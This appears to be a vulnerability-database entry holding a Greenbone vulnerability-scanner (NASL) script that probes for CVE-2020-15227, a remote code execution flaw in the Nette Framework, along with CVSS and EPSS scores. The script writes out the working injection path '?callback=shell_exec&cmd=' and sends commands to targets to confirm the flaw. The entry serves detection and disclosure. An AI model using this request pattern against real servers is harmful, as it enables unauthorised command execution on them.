9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.9%
The Nette Framework is prone to a remote code execution (RCE)
vulnerability.
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.117454");
script_version("2023-12-13T05:05:23+0000");
script_cve_id("CVE-2020-15227");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2021-05-25 14:19:28 +0000 (Tue, 25 May 2021)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-04-04 14:15:00 +0000 (Sun, 04 Apr 2021)");
script_name("Nette Framework RCE Vulnerability (CVE-2020-15227)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2021 Greenbone AG");
script_dependencies("find_service.nasl", "httpver.nasl", "no404.nasl", "webmirror.nasl",
"DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94");
script_xref(name:"URL", value:"https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#");
script_xref(name:"URL", value:"https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md");
script_tag(name:"summary", value:"The Nette Framework is prone to a remote code execution (RCE)
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The Nette framework is vulnerable to a code injection attack by
passing specially formed parameters to URL that may possibly leading to RCE.");
script_tag(name:"impact", value:"This can be exploited to inject arbitrary system commands and
gain remote code execution.");
script_tag(name:"affected", value:"The following packages of the Nette framework are known to be
vulnerable:
- nette/application versions prior to 2.2.10, 2.3.14, 2.4.16 and 3.0.6
- nette/nette versions prior to 2.0.19 and 2.1.13");
script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
more information.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
exit( 0 );
vuln_urls = make_list(
"/nette.micro/?callback=shell_exec&cmd=",
"/index.php/nette.micro/?callback=shell_exec&cmd=" );
cmds = exploit_commands();
foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" )
dir = "";
foreach vuln_url( vuln_urls ) {
foreach pattern( keys( cmds ) ) {
cmd = cmds[pattern];
url = dir + vuln_url + cmd + "&what=-1";
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req );
if( ! res || res !~ "^HTTP/1\.[01] 200" )
continue;
body = http_extract_body_from_response( data:res );
if( ! body )
continue;
if( egrep( pattern:pattern, string:body, icase:FALSE ) ) {
info['HTTP Method'] = "GET";
info['Affected URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );
report = 'By doing the following HTTP request:\n\n';
report += text_format_table( array:info ) + '\n\n';
report += 'it was possible to execute the "' + cmd + '" command on the target host.';
report += '\n\nResult:\n' + body;
expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
security_message( port:port, data:report, expert_info:expert_info );
exit( 0 );
}
}
}
}
exit( 99 );
github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.9%